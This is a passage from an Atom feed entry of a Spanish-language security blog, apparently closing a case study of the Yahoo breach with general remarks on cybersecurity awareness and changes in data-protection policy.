      <li>El ataque a Yahoo sirvió como un recordatorio de la importancia de la ciberseguridad para las empresas y organizaciones en la era digital. Mostró cómo una violación de seguridad puede tener un impacto significativo en términos de reputación y responsabilidad legal.</li>
    </ol>
  </li>
  <li><strong>Cambios en políticas de seguridad:</strong>
    <ol>
      <li>El ataque a Yahoo condujo a un mayor enfoque en la seguridad de datos y la protección de la información de los usuarios en la industria de la tecnología y en otras empresas que gestionan datos sensibles.</li>
    </ol>
  </li>
</ol>]]></content><author><name>ibl4zqu3z</name></author><category term="Ciberataques" /><summary type="html"><![CDATA[Caso de estudio sobre yahoo y sus implicaciones técnicas, defensivas y organizativas.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/Yahoo2013/cover.webp" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/Yahoo2013/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>